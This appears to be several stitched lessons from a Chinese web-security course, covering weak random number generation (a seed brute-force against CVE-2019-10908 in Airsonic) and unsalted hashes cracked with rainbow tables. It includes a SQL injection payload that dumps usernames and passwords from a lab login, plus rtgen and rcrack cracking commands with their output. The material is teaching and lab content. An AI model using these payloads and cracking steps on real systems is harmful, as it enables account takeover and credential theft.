这节课我们学习了密码学相关的知识。
古代战争中使用的密令、密码本等都是密码学的一种缩影,它们大都可以划分到古典密码学分支。在现代密码学分支出现之前,古典密码学依靠加密算法的保密性,发挥了巨大的作用,并且诞生了以凯撒密码、维吉尼亚密码为首的一系列经典的替换式密码以及位移式密码算法。
随着算法研究的不断深入以及计算机算力的增长,经典密码学的安全性难以得到保障,于是诞生了现代密码学分支。在现代密码学分支中,根据加密/解密密钥是否相同又可以划分为对称加密算法与非对称加密算法其中DES、AES、RC4等都是知名的对称加密算法而RSA、椭圆曲线加密等都是知名的非对称加密算法。
在Web应用开发中我们既会面临密码学相关技术的工程化风险包括硬编码密钥、随机值重用、使用不安全的算法、可预测的初始化向量以及Padding相关的安全问题也会面临理论层面比如HASH值空间碰撞风险。这些都需要我们了解并熟悉加密算法的原理这样才能够很好的驾驭这架复杂又强大的机器。
相信通过本节课的学习,你已经构建了清晰宏观的密码学视角,在面对特定安全场景时能够处理得安全又不失优雅。密码学是一个快速发展的数学分支,深入地了解其中原理一定能够帮助你构建更加强大、安全、可靠的应用系统!
思考题
你可以尝试使用卡西斯基试验破解维吉尼亚密码吗?
你可以尝试计算我们日常使用的HASH能够抵御多少量级的碰撞攻击吗
欢迎在评论区留下你的思考,我们下节课再见。

View File

@ -0,0 +1,385 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
10 弱随机数生成器:攻击者如何预测随机数?
你好,我是王昊天。
上节课我们学习了密码算法的安全,有了设计优秀的密码算法,就像买了一扇牢固的防盗门,那么我们再也不用担心小偷了吗?
并不是这样,有了防盗门,我们还需要保管好钥匙才行。上节课我们一直在讨论防盗门的质量问题,而防盗门的钥匙,也就是密码算法所使用的密钥是如何生成的呢?这里就需要一个引入新的概念——随机数。
随机数的概念是很好理解的,但是实际操作起来却很难真的生成。
你一定玩过某一种棋牌类游戏,比如麻将、德州扑克这些,或者更简单的猜拳游戏也可以。考虑到每个人的游戏水平有高低,胜率一定会有些差异。在经常一起玩的朋友当中,一定有某个人在的时候你更容易赢,另外某个人在的时候你更容易输,而且这种输赢是具有统计意义上稳定性的,为什么呢?
因为在面对没有差异的选择时,你是有选择倾向性的,这种倾向性可能来自于你的回忆、你的幸运数字、你的生日等等。
所以,我们以为的随机数,往往没有那么随机。
随机数
我们来正式地认识一下随机数,这一概念在不同领域往往代表着不同的含义。我们一起来由浅入深地聊聊。
首先随机数最基本的概念是统计学意义上的伪随机数,对于给定的一个样本集,每个元素出现的概率是大概相似的,只要从人类的视角看上去一组数是随机的,就符合统计学意义上的伪随机数定义;因为统计学上的伪随机数,在给定随机样本和随机算法的情况下,能够有效地演算出随机样本的剩余部分,因此统计学上的伪随机数需要得到进一步地安全强化,密码学安全的伪随机数应运而生;而随机数的最终概念形态,则是真随机数,其定义是在满足前两个条件的基础上,再增加一个随机样本不可重现的条件。
然而,严格的真随机数是一种非常理想的形态,从真实情况来看,只要给定边界条件,真随机数其实并不存在。因为无论背景辐射、物理噪音还是抛掷硬币,只要经过非常精密的观察和测量,都是可以被预测的。但是在这些例子中,实际的边界条件非常复杂,而且是极难观测的,因此我们可以认为这些条件下产生的随机数是非常接近真随机数的伪随机数。
那么为什么随机数的随机性如此重要呢?因为在我们前一节课程中探讨过的密码算法需要大量随机数的参与,一旦随机数的生成可以被预测,任何加密算法都将失去意义。
随机数的生成
产生随机数的方法被称为随机数生成器RNG, random number generator
在实际应用中我们往往使用伪随机就足够了这些随机数主要通过一个固定的、可重复的计算方法生成这些计算方法经过特殊的设计使得产生的结果具有类似真随机数的统计学特征。这种生成的伪随机数一般只是重复的周期比较大的数列以算法和种子值共同作用生成。这种生成伪随机数的方法叫伪随机数生成器PRNG, pseudo-random number generator进一步能够生成密码学安全随机数的方法叫密码学伪随机数生成器CPRNG, cryptographic pseudo-random number generator
从实现的角度来看,伪随机数生成器会在函数内部维护一个状态,每个随机数的诞生,时都是从这个状态计算出来的,这个状态随着下一个随机数的生成而改变,而第一个状态则是由种子初始化得到。
在一些密码学关键设施中,会使用到真正的随机数,这些随机数往往由噪音、辐射等物理现象生成,这个过程中所使用的生成器叫物理性随机数生成器。
在了解随机数概念及其生成方案后,接下来我们来了解一下开发过程中会面临哪些随机数方面的安全风险。
无效的随机数
当我们在开发应用的过程中如果所使用的随机数算法不够安全比如使用了PRNG而并没有使用CPRNG或者使用了不安全的种子值就可能会使得攻击者能够猜测出下一个生成的随机数进而凭借猜测的随机数发动攻击。至于PRNG究竟哪里不安全我在后文的案例部分再向你详细介绍。
举个例子如下代码尝试去为用户生成session值
function generateSessionValue( $user ) {
// 注释:设置种子值
srand( $user );
return rand();
}
由于代码中所使用的种子值每次都是不变的因此该函数返回的session值也不会发生变化攻击者可以利用该缺陷尝试劫持会话。
小空间种子选择
在上面描述的坏代码样本中,如果我们尝试去优化,那么方案是什么呢?
考虑到,这段代码存在的问题,是将种子值设定成了固定数值,那么为了解决这个问题,我们现在尝试将种子值,设置为随机数值:
function generateSessionValue( $user ) {
// 注释:设置种子值
$random_val = rand(0,9);
srand( $random_val );
// ...
}
这样的优化是否会修复代码中不安全漏洞呢答案是否定的这种优化只是小幅度提高了漏洞利用的复杂程度。在上述代码中由于random_val的取值空间过小将会面临暴力破解攻击攻击者只需要执行10次遍历就可以找到被生成的随机数。
由于使用了取值空间很小的种子,这段代码将被暴露在暴力破解攻击中。要知道计算机是一种执行确定行为的机器,因此是无法生成真正的随机数的。虽然伪随机数生成器从算法设计层面满足了相似的随机性特征,但其一旦设定了种子值,其生成的随机数序列就是完全确定的。正因如此,我们要尽量确保种子值对于攻击者是不可预测的。
密码学安全的伪随机数
再进一步,我们将种子值的随机性放大,继续优化代码的安全性。
可以看到如下代码使用Random.nextInt()函数来生成新的URL地址其种子值由(new Date()).getTime()生成该数值为1970年1月1日00:00:00 GMT至今的毫秒数已经具备较强的随机性和不可预测性。那么这是否能说明这段代码已经安全了呢
String generateUrl( String baseUrl ) {
Random randomGen = new Random();
randomGen.setSeed((new Date()).getTime());
return (baseUrl + randomGen.nextInt(400000000) + ".html");
}
答案并非如此。Random.nextInt()函数是java.util.Random类的成员函数而java.util.Random类是一个统计学意义上的伪随机数生成器因此会更容易被攻击者猜测到生成的数值对于安全性敏感的应用建议使用密码学安全的随机数生成器java.security.SecureRandom。
案例实战
做了这么多年安全有一句话我非常喜欢“Talk is cheap, show me the code”。
很多高深的安全知识讲出来似乎都十分有道理但是实践起来往往不是那么回事。现在我们就来一起解答上面提到的问题虽然推荐使用CPRNG但是PRNG究竟哪里不安全了呢知其然更要知其所以然接下来我们就上干货带你实战攻击伪随机数生成器
这次我们以漏洞CVE-2019-10908为例这是一个在Airsonic 10.2.1版本存在的漏洞。Airsonic是一个免费并且开源的产品由社区驱动开发和维护它是一个提供分享和访问多媒体流功能的Web应用。
该项目的RecoverController.java通过org.apache.commons.lang.RandomStringUtils来生成用户密码而RandomStringUtils内部实现其实是使用了java.util.Random。这里引入了两个潜在的安全隐患一方面Random类是PRNG无法提供密码学安全的伪随机数生成另一方面RandomStringUtils使用了48bit的种子使其能够较容易地被攻击者爆破。
接下来我们从攻击种子的角度尝试进行漏洞利用,不过在判断对不对之前,要先判断是不是,因此在我们进行漏洞利用之前要先分析清楚是否真的存在这个漏洞。
首先来看一下Airsonic 10.2.1版本的源码:
package org.airsonic.player.controller;
// ...
import org.apache.commons.lang.RandomStringUtils;
// ...
// ...
public ModelAndView recover(HttpServletRequest request, HttpServletResponse response) throws Exception {
Map<String, Object> map = new HashMap<String, Object>();
String usernameOrEmail = StringUtils.trimToNull(request.getParameter("usernameOrEmail"));
if (usernameOrEmail != null) {
map.put("usernameOrEmail", usernameOrEmail);
User user = getUserByUsernameOrEmail(usernameOrEmail);
boolean captchaOk;
if (settingsService.isCaptchaEnabled()) {
String recaptchaResponse = request.getParameter("g-recaptcha-response");
ReCaptcha captcha = new ReCaptcha(settingsService.getRecaptchaSecretKey());
captchaOk = recaptchaResponse != null && captcha.isValid(recaptchaResponse);
} else {
captchaOk = true;
}
if (!captchaOk) {
map.put("error", "recover.error.invalidcaptcha");
} else if (user == null) {
map.put("error", "recover.error.usernotfound");
} else if (user.getEmail() == null) {
map.put("error", "recover.error.noemail");
} else {
// 注释
// 这行代码引入了潜在的安全风险
String password = RandomStringUtils.randomAlphanumeric(8);
// ...
根据代码段中我添加的注释我们继续分析RandomStringUtils
package org.apache.commons.lang;
import java.util.Random;
public class RandomStringUtils {
// 注释1
private static final Random RANDOM = new Random();
public RandomStringUtils() {
}
// ...
// 注释2
public static String randomAlphanumeric(int count) {
return random(count, true, true);
}
// ...
// 老师加的注释3
public static String random(int count, int start, int end, boolean letters, boolean numbers, char[] chars, Random random) {
// ...
在注释1部分可以看到RandomStringUtils类在调用过程中会创建一个静态的成员变量RANDOM在应用运行过程中这个变量会一直存在。
在注释2部分是randomAlphanumeric的函数实现不断追踪函数调用栈可以发现最终调用了注释3部分的函数而调用过程最后一个函数参数即是注释1部分创建的RANDOM变量这一调用过程意味RANDOM是唯一一组随机数序列只要我们判断出RANDOM序列即可执行攻击。
那么顺着思路我们继续分析关键点——RANDOM。RANDOM是通过Random()创建的java.util.Random对象。如下是直接调用Random()生成新对象时的代码:
public Random() {
this(seedUniquifier() ^ System.nanoTime());
}
private static long seedUniquifier() {
// L'Ecuyer, "Tables of Linear Congruential Generators of
// Different Sizes and Good Lattice Structure", 1999
for (;;) {
long current = seedUniquifier.get();
long next = current * 1181783497276652981L;
if (seedUniquifier.compareAndSet(current, next))
return next;
}
}
可以看到在Random()函数内部执行了种子值的设置,而具体种子值的计算则是由一段数学运算得出。
接下来我们尝试写一个Demo程序来搭建一个最简单的环境进行安全性分析
import org.apache.commons.lang.RandomStringUtils;
public class Main {
public static void main(String[] args) {
System.out.println("Hello World!");
String password = RandomStringUtils.randomAlphanumeric(8);
System.out.println(password);
}
}
开启调试模式然后断点下在Random()函数内部通过IDEA集成的Expression查看功能我们来看一下Random()所设置的种子值大概长什么样子:
通过多次执行Demo程序我们可以发现seedUniquifier()的取值序列每次都是相同的,以下是我通过调试模式取出的数值:
8006678197202707420
-3282039941672302964
3620162808252824828
考虑到种子值是由seedUniquifier() ^ System.nanoTime()计算得出而seedUniquifier()的取值序列固定因此种子值将取决于System.nanoTime()函数。继续通过Expression查看功能
启用二进制模式查看:
可以发现System.nanoTime()的取值空间为48bit取值范围为2^48=281474976710656≈2.8x10^14这看起来并不是一个很大的数字直观上存在爆破的可能性。那么我们再简单修改一下Demo程序看一下我们电脑的算力如何
import org.apache.commons.lang.RandomStringUtils;
public class Main {
public static void main(String[] args) {
// write your code here
System.out.println("Hello World!");
long startTime = System.nanoTime();
for (int i = 0; i < 100000000; i++) {
String password = RandomStringUtils.randomAlphanumeric(8);
}
long duringTime = System.nanoTime() - startTime;
System.out.println(duringTime);
System.out.println(duringTime / 1000000000.0);
}
}
如下是执行结果
Hello World!
13950490348
13.950490348
Process finished with exit code 0
简单总结一下就是按照这个程序的执行速度进行100000000也就是10^8次运算需要13.95秒
有了这些基本数据就很好进行分析了简单的除法运算就能够分析清楚爆破所需时间
2.8x10^14 / 10^8 * 13.95 = 3.9x10^7 = 10833小时 = 451天
虽然找到了攻击方案并且根据算力情况评估出了攻击成本但很明显这个耗时有些过长了真实场景很难实施因此我们需要想办法降低时间消耗
既然考虑到了效率优化就需要关注一下我们上面所构建的Demo程序是否已经实现效率最大化从代码逻辑上来看很明显Demo程序是一个单进程单线程应用可是我的电脑的CPU核心应该是8核16线程因此我们可以从这个角度入手去提升它的效率优化空间从Demo程序执行时的CPU占用率也可以看得出在运行期间事实上仅有一个核心达到了100%占用
于是我决定优化一下程序执行逻辑并预期可以取得16倍的性能提升
package org.example;
import org.apache.commons.lang.RandomStringUtils;
import java.util.Random;
import java.util.stream.IntStream;
import java.time.Instant;
import java.time.Duration;
import java.security.SecureRandom;
public class Main {
public static void main(String[] args) {
if (args.length != 2) {
System.out.println("must be 2 arguments");
return;
}
int from = Integer.parseInt(args[0]);
int to = Integer.parseInt(args[1]);
System.out.println("from " + from + " to " + to);
System.out.println(Runtime.getRuntime().availableProcessors());
eval("sequential", () -> {
for (int i = 0; i <= 100000000; i++) {
new RandomStringUtilsTest(i).randomAlphanumeric(8);
}
});
eval("parallel", () -> {
IntStream.range(0, 100000000).parallel().forEach(i -> new RandomStringUtilsTest(i).random(8));
});
}
public static void eval(String task, Runnable runnable) {
Instant start = Instant.now();
runnable.run();
Instant end = Instant.now();
System.out.printf("%s spend %s%n", task, Duration.between(start, end));
}
}
从输出结果可以发现并行计算下的效率大约是串行计算的16倍
from 1 to 100000
16
sequential spend PT15.235S
parallel spend PT1.826S
Process finished with exit code 0
再观察一下执行期间的CPU占用可以发现CPU确实是全核心在运行的。
这里仅以我的个人计算机为例进行模拟攻击的时间测算在实际应用场景中我们完全可以通过调度云端计算机使上百核心的并发计算我们以128核心为例
451天 / 128 ≈ 3.5天
可以发现在上面这种情况下我们只需要3.5天即可完成针对该漏洞的攻击。
值得展开讨论的是,虽然在上述情况中我们可以成功进行攻击,但是实际情况往往会更加复杂,比如我们已知的随机数已经是生成的第几百个随机数,这种情况下由于需要产生较长的随机数序列进行匹配,将会导致更大的计算量。但是这种计算量增长都是线性的,我们仍然可以根据需求选择能够负载的时间和金钱成本,顺利完成攻击。
安全实践
以CVE-2019-10908为例我们来看一下开源项目的修复方案。
首先从包的使用方面取消了org.apache.commons.lang.RandomStringUtils的使用并且替换为java.security.SecureRandom根据名字很容易判断新替换的包是一个密码学安全的伪随机数生成器该随机数生成器从算法设计角度上是密码学安全的同时内部所使用的种子值强度也会更高。
然后在代码实现层面放弃了原有的RandomStringUtils.randomAlphanumeric函数转为使用新的代码实现
private static final String SYMBOLS = "abcdefghi jklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
private final SecureRandom random = new SecureRandom();
private static final int PASSWORD_LENGTH = 32;
// ...
StringBuilder sb = new StringBuilder(PASSWORD_LENGTH);
for(int i=0; i<PASSWORD_LENGTH; i++) {
int index = random.nextInt(SYMBOLS.length());
sb.append(SYMBOLS.charAt(index));
}
String password = sb.toString();
简单来说就是在开发过程中要通过安全的加密库来使用CPRNG在不同语言中涉及的模块会有一些差异比如Linux或者MacOS中大部分加密库内部都依赖于/dev/random或/dev/urandom这两个随机源在Windows中可以使用Crypto API或者BCryptGenRandom在C#中可以使用System.Security.Cryptography.RandomNumberGenerator在Python中可以使用os.urandom或secrets库在Java中则可以使用我们本节课介绍的java.security.SecureRandom
总结
这节课我们学习了随机数相关的知识
虽然物理世界充满了不确定性和随机性但是计算机世界并非如此计算机是一种执行确定计算过程的机器我们在开发过程中使用的随机数基本都是由软件算法生成的伪随机数但即使是伪随机数也有安全和不安全之分
常规的伪随机数生成器又称PRNG是基于概率设计的而为了保证安全则需要使用密码学意义上伪随机数生成器这种生成器又叫CPRNG这些经过PRNG或CPRNG生成的数字可以理解为重复周期非常大的序列因此能够满足随机性需求而既然是序列就一定会有一个开始这个开始值的产生由种子值确定这个种子我们又称之为seed
在考虑到PRNG以及CPRNG算法安全的情况下种子值的安全成为了关键要素因为一旦种子值可以被预测则生成的所有随机数都将可以被预测由此引发的一系列安全风险包括无效的随机数小空间种子值以及非密码学安全的随机数生成器等
虽然围绕密码学和随机数展开的攻击案例并不多见但是本节课我们以CVE-2019-10908为例进行了真实的随机数层面的攻击从实战过程可以发现这类攻击要求攻击者具备足够深厚的密码学和随机数相关的知识同时需要具备一定的开发功底正因如此许多开发者并未重视这类安全问题与CVE-2019-10908相似的安全风险仍普遍存在于许多应用中
关于随机数方面的安全建议仍然可以参考CVE-2019-10908的开源项目更新方案从安全库的使用及随机数生成过程两个方面共同优化
也许你会觉得本节课程中涉及的漏洞利用过程稍有复杂不过别担心随着课程的不断更新在后续课程中你将学会搭建和使用属于自己的个性化智能攻防对抗系统这将大幅度降低类似攻击过程的复杂度及难度让你的安全能力持续积累快速提高
思考
本节课我们以CVE-2019-10908为例研究了随机数攻击中的种子爆破攻击你可以尝试从PRNG v.s. CPRNG的角度分析其安全缺陷吗
欢迎你在评论区留下自己的思考我们下节课再见

View File

@ -0,0 +1,287 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
11 忘记加“盐”:加密结果强度不够吗?
你好,我是王昊天。今天我来和你一起来聊聊“盐”。
什么是盐?
食盐是一种调味品,可以在烹饪食物时添加到菜肴中,给寡淡的食材增添风味。恰好我对烹饪也有一点研究,所以对食盐的作用也稍有理解。食盐是菜品中咸味的主要来源,在烹饪中加入适量的食盐,一方面可以提鲜,另一方面也可以去除掉原料的一些异味。
那么盐和安全有什么关系呢?
盐又称为Salt在密码学中我们常常会用到散列算法对字符串进行处理散列算法可以为数据创建相对精简的数据指纹具体我们会在后面详细介绍。为了提高安全性在进行散列操作之前会对字符串进行一些拼接、混淆操作这个过程我们就称为“加盐”。虽然不知道“加盐”的本意是否如此但加盐处理字符串的过程与使用盐处理食物的过程非常相似一方面去除了字符串本身的特征另一方面增强了字符串的复杂度。
经过加盐处理的散列结果与未加盐处理的散列结果,极大概率是不相同的,这一过程大大提高了散列算法的安全性。
HASH
在了解调味品该如何使用之前我们要先了解原材料是什么。因此在了解如何用盐之前我们先来了解HASH函数是什么。
HASH函数又称散列函数是为一段数据创建数字指纹的方法创建生成的数字指纹叫散列值。由于经过了压缩它的长度较原始输入短了很多因此我们也称之为摘要。
由HASH函数计算出来的散列值具有不可逆的特性这里说的不可逆是指攻击者无法从散列值进行逆向推导进而获得原始输入。得益于不可逆特性在Web业务系统开发过程中我们通常使用散列值作为用户密码存储进数据库。在这种情况下Web业务系统既可以校验用户密码的正确性又无法真正得知用户密码明文。
HASH的应用
HASH函数具备很多优秀的特性比如计算不可逆、难以伪造、数据压缩等因此它具备很多应用场景。
基于计算不可逆和难以伪造这两个优秀的安全特性HASH函数的一个主要应用场景就是校验数据传递的完整性。将要传递的数据作为HASH函数的输入生成散列值A再在接收端将A作为HASH函数的输入生成散列值B。通过对比A和B就可以快速判断出数据传输的完整性和数据的真实性。
许多官方发布的应用、开发组件和二进制可执行程序都会在下载链接旁边附上对应的散列值方便终端用户在下载完成之后进行对比。这种方式可以保证终端用户即使遭遇了DNS污染中间人攻击或者官方遭遇入侵导致安装包被替换的情况也可以清晰地判断出恶意应用。
这是一个我经常玩的游戏没有收广告费在官网下载链接页面可以看到提供的MD5散列值
下载之后要如何操作呢其实是非常简单的以Mac OS为例在Terminal里已经集成了md5命令我们可以通过md5命令快速计算出一个文件的md5散列值将其与官网展示的散列值进行对比即可
基于数据压缩特性,则会有散列表和错误校正等应用场景。
散列表是一种开发中常用的技术手段,它通常被用来根据关键字快速查找数据记录。比较形象的例子是字典,它的关键词是英文单词,而完整的记录则包含了单词的拼写、音标、解释以及例句,这个场景可以理解为一种,从完整的数据记录到单词的映射关系。
错误校正是开发中常用的另一种技术手段在数据传输、存储的过程中经常会用到。在数据传输、存储的过程中由于信号的干扰、物理介质的不稳定性等原因经常会出现数据错误的情况。这时我们可以通过计算散列值的方法来判断数据完整性这种方案就称为冗余校验。更进一步我们甚至可以通过定义不同的HASH函数使得冗余校验具备纠错能力。
用户账户认证过程,通常涉及到密码的存储,这就是盐的主要应用场景之一。
我们都知道,密码的存储通常是放在数据库中,关于密码的存储形态有很多种,通常可选的方案包括明文、散列值等。
如果采用明文存储的方案,一旦发生了入侵事件,或者系统存在漏洞使得数据库外泄,就会导致大规模的用户账户外泄,这种安全事件是灾难性的。所以目前大部分系统采取的方案都是存储散列值,在这种情况下,即使是系统也无法得知用户的密码是什么。
通常在采用存储散列值的情况下系统会通过比较散列值来认证用户。系统通过用户输入获得密码后会让密码经过HASH函数处理产生一个散列值并将该散列值与存储在数据库中的散列值进行对比如果相同则表示认证成功。
我们可以设想一下在这种方案下即使黑客通过漏洞成功获得了数据库内的全部数据他获得的也仅仅是密码经过HASH函数运算得出的散列值而这个散列值并不能够帮助他登录系统。
暴力破解和字典攻击
为了达到登录的目的黑客必须找到一段数据这段数据的HASH运算结果需要与黑客获得的散列值一致。此时黑客可选的方案是暴力破解、字典攻击和彩虹表攻击。
这三种攻击方式执行的难度由简单到困难,效果也是从差到好。暴力破解和字典攻击的实施过程都非常简单,基本思路都是通过遍历用户密码所有取值来直接找到答案,区别是暴力破解采用遍历的方式是实时计算,而字典攻击会根据预先计算好的结果直接查找。虽然这两种方案执行上非常简单,但实际操作效果却并不理想,主要原因是用户密码的取值空间过于庞大。
这里我们通过简单的计算来对取值空间有一个更加直观的认识。一般用户密码的单字符可选范围是26个小写字母、26个大写字母、10个数字以及少数特殊字符我们假设用户密码是8位要知道8位密码并不算强度很高的设置那么经过计算密码合计取值范围就是72万亿。
单字符取值范围 ≈ 26 + 26 + 10 + 10 = 72
8个字符的密码取值空间 = 72 ^ 8 = 722204136308736 ≈ 72万亿
按照每秒能够计算100万个密码的散列值来计算需要大约8358天相当于22.9年才能完成密码空间的遍历,很显然这种攻击是无法真正实施的,因此暴力破解攻击无效。
722204136308736 / (1000000 * 3600 * 24) ≈ 8358
按照每个8位密码占据8个字节的存储空间来计算72万亿的密码空间大约会占据5254TB的存储空间很显然这种攻击也是无法真正实施的因此字典攻击也是无效的。
722204136308736 * 8.0 / (1024 * 1024 * 1024 * 1024) ≈ 5254
综合上面的分析,我们可以发现,暴力破解没有空间占用但时间消耗过大,而字典攻击几乎没有时间占用但空间消耗过大。因此,为了有效地对散列值进行攻击,我们需要一种更可行的方案。在这种方案里,我们能够接受多一些的解密时间,但希望它不要占用过大的空间。目前,这种平衡了时间和空间的攻击方案就是彩虹表攻击。
彩虹表攻击
HASH链
以字典攻击为基础,通过算法设计来实现时间换取空间的效果,就是彩虹表攻击的原理。
彩虹表攻击中所涉及的算法就是预计算的HASH链。
为了实现预计算的HASH链我们需要一个新型函数的辅助一般会称之为归约函数或者约简函数。但是千万不要为这个名字感到困惑它其实并没有真实地表达什么含义你可以简单地理解为一个新函数R。R函数与HASH函数执行相反的运算流程比如HASH函数将原始输入映射到HASH散列值而R函数则是将HASH散列值映射回原始输入并且R函数的映射关系是可以任意指定的。
接下来我来带你实际构建一个HASH链在这个过程中你将对稍显复杂的彩虹表攻击有更直观的理解。
以MD5散列为例首先我们随机选择一段明文talentsec并对其取md5散列获得结果6f66114d09e7b9ddbfa8b286ea1e57a7接下来我们按照自己的喜好定义一个R函数并且使用R函数对散列值6f66114d09e7b9ddbfa8b286ea1e57a7进行运算获得结果aaaaaaaaa。继续重复上述过程即不断使用HASH函数和R函数进行计算产生的如下链条就是HASH链
通过随机选择多段明文重复执行这个过程会产生多个HASH链这些HASH链我们称为预计算的HASH链集。需要注意的是存储的过程中我们只需要保存HASH链的头和尾对于上述示例HASH链我们只进行了2轮计算所以其存储形态应该是(talentsec,bbbbbbbbb)。
那么我们要如何使用预计算的HASH链来进行攻击呢
作为攻击者我们需要破解一个HASH散列值。通过对该散列值进行多轮次的R函数、HASH函数计算我们可以取得多个原始输入如果原始输入与HASH链的头或者尾产生碰撞HASH散列值的破解结果则很有可能存在于该链条中。
这里我们通过2个场景示例来直接感受一下对于上述场景如果我们希望破解的散列值是552e6a97297c53e592208cf97fbb3b6通过1次R函数可以获得原始输入bbbbbbbbb成功匹配到HASH链(talentsec,bbbbbbbbb)通过从头执行HASH链的计算过程可以得出破解结果是aaaaaaaaa同样是上述场景如果我们希望破解的散列值是6f66114d09e7b9ddbfa8b286ea1e57a7通过R函数-HASH函数-R函数计算可以获得原始输入bbbbbbbbb依然成功匹配到HASH链(talentsec,bbbbbbbbb)通过从头执行HASH链的计算过程可以得出破解结果是talentsec。
值得一提的是破解中需要的运算轮次一般与HASH链的计算轮次相同如果达到了计算轮次却并未找到匹配的HASH链则直接返回破解失败。
关于预计算HASH链的理想性能表现我们可以通过简单的计算来分析。依然是8位密码的情况假设我们定义了一个R函数让每条HASH链能够执行1亿次计算那么完成HASH链集的存储只需要大约220MB的空间。
722204136308736 / 50000000 ≈ 14444082 条HASH链
722204136308736 * 16 / (50000000 * 1024 * 1024) ≈ 220 MB
依然按照每秒100万次的速度来计算单一HASH散列值从生成一条新的HASH链到完成匹配的时间预计不超过2分钟。
100000000 / (1000000 * 60) ≈ 1.67 mins
彩虹表
那么预计算的HASH链集就是彩虹表吗其实并非如此。
预计算的HASH链集仍然存在着一些不足主要是在性能表现方面。我们刚刚计算的攻击时间都是在理想情况下推演出来的但是未经优秀设计就生成的预计算HASH链集实际上并不能达到这个性能水平因此才会出现彩虹表。我们可以将彩虹表理解为是一种经过精密设计的预计算HASH链集在攻击时能发挥出理想的性能表现。
那么预计算HASH链集需要优化的核心点是哪里呢接下来我们就一起来分析一下。
通过前面我们所讨论的攻击过程不难判断预计算的HASH链集包含多条HASH链这一点我们从它的名字也不难看出而每条HASH链能够覆盖的攻击范围与它执行的计算次数呈现线性相关。最理想的情况当然是每条HASH链所覆盖的攻击范围彼此互斥这样在n条链的情况下覆盖的攻击范围就是n x 单链计算次数/2。但现实往往没有这么理想R函数的选择与设计可能会导致碰撞情况的发生
通过上述示例可以发现存在设计缺陷的R函数会导致大量碰撞的发生而一旦中间某节点发生碰撞就会导致后续节点全部碰撞这样会大大缩小预计算HASH链集能够覆盖的攻击范围。又因为预计算HASH链只保存收尾节点因此想要发现两条链的高度相似性是非常难的。
彩虹表的出现正是为了解决R函数引起的链碰撞问题。
彩虹表的设计理念是在生成预计算的HASH链时采用多种R函数也就是在每个轮次的计算中分别使用R1、R2、R3函数等大致含义如下
这样即使发生了之前我们所描述的碰撞情况,通常会是以下这种情况:
可以看到虽然部分节点发生了碰撞但是由于发生碰撞的位置并非在同一序列使用的R函数也不是同一个因此后续产生的节点也不相同。
这样,即使同一序列位置发生碰撞,导致后续节点完全相同,但是因为末节点是相同的,所以我们仍然可以非常快速地找出这条相似链,删除它来优化存储空间。
而关于彩虹表的使用方法本质上与HASH链集并无二致核心思想仍然是计算得出R函数的结果并与HASH链进行匹配。它们的区别在于计算出的序列结果是否唯一。因为HASH链集使用的是相同的R函数所以如果我们对待破解的HASH散列进行R函数计算所产生的序列结果是唯一的但是彩虹表使用的是不同的R函数因此计算时需要将待破解的HASH散列带入不同位置从而得出多个序列结果。
案例实战
了解了彩虹表的原理和用法,接下来,我们就进入一个真实场景中实战一下。
打开MiTuan并选择【极客时间-漏洞挖掘与智能攻防实战】靶场,进入后选择【忘记加“盐”:加密结果强度不够吗?】靶机环境。
可以看到,这是一个很简单的登录界面。
接下来,我们使用简单的注入来获取用户密码信息:
User = ' union select username,password from users;
Password = 1
如果你不理解这个注入过程不要担心下一节课我们就会深入探讨SQL注入漏洞。-
通过简单的注入操作,我们可以获得用户名以及密码信息如下:
Dumb
2b161cb042f799e5f43ae6efc9e57926
接下来我们就尝试使用彩虹表攻击来破解这个HASH散列值。
首先解压我们提供的压缩包进入rainbow目录后运行如下命令
docker build -t rainbow:v0 . # 构建镜像
docker run -it rainbow:v0 # 启动容器并获得交互式shell
# 生成 md5哈希函数的 1-9a-zA-Z 最短1位 最长5位 10种不同R函数组合 每条链5000长度 10000条链 0偏移 的彩虹表
./rtgen md5 mixalpha-numeric 1 5 10 10000 60000 0
# 生成彩虹表之后排序,方便结果查找
./rtsort .
# 执行彩虹表破解,极小概率失败,主要是由于彩虹表具有不确定性,因此不能确保成功
./rcrack . -h 2b161cb042f799e5f43ae6efc9e57926
在我的电脑上大约不到1秒就完成破解了密码明文是t1sec破解结果如下
1 rainbow tables found
memory available: 1033964748 bytes
memory for rainbow chain traverse: 160000 bytes per hash, 160000 bytes for 1 hashes
memory for rainbow table buffer: 2 x 960016 bytes
disk: ./md5_mixalpha-numeric#1-5_10_10000x60000_0.rt: 960000 bytes read
disk: finished reading all files
plaintext of 2b161cb042f799e5f43ae6efc9e57926 is t1sec
statistics
----------------------------------------------------------------
plaintext found: 1 of 1
total time: 0.90 s
time of chain traverse: 0.90 s
time of alarm check: 0.00 s
time of disk read: 0.00 s
hash & reduce calculation of chain traverse: 49990000
hash & reduce calculation of alarm check: 49990
number of alarm: 257
performance of chain traverse: 55.54 million/s
performance of alarm check: 16.66 million/s
result
----------------------------------------------------------------
2b161cb042f799e5f43ae6efc9e57926 t1sec hex:7431736563
可以看到彩虹表的查询速度是非常快的每秒可以执行约5500万条链的查询实际上本次爆破仅使用了0.9s就已经攻击完成。
安全实践
好,学习了这么多,那么如何存储密码才是安全的呢?
安全级别从低到高,来看看我们都有哪些选择。
首先最简单也是安全级别最低的方案是直接存储明文密码secret这种方式一旦系统遭遇攻击会导致所有账户密码泄露因此毫无安全性可言在实际应用中已经被抛弃了。
接下来目前一种常见的密码存储方案就是将明文密码带入一个HASH函数并将散列值HASH(secret)作为结果存储到数据库使用这种方案系统即使受到了入侵攻击者获得的也只是HASH散列值。但是由于彩虹表的存在密码依然很容易被破解。
更进一步地我们可以将明文密码加盐对加盐结果进行Hush运算HASH(secret+salt)然后将运算的散列值结果存储到数据库中。在保证每个用户的salt不一样的情况下这种方案的安全性是可接受的为了保证这一点我们可以选择用户名、手机号等信息作为salt。
最后我们来看看,如何从最佳安全实践的角度处理数据。
一般来说,加盐会通过在原始字段的特定位置增加特定的字符,使其与原始输入不一致,比如用户使用了一个密码:
talentsec
经过MD5处理后可以得出结果
MD5 ("talentsec") = 0fd2671a7c179391e3e3ebb6ec70fa8f
很明显该密码长度仅有9位且完全使用小写英文字母。这样的密码取值空间很小因此是很容易被彩虹表攻击的。因此我们选择在用户的密码后添加特定的字符串来增加它的安全性比如新增用户的用户名
MD5 ("talentsecwwwhhhttt") = 91a9740ca090824cb00c4be0a319fb89
可以看到加盐之后密码位数变长了,同时散列结果也发生了变化。-
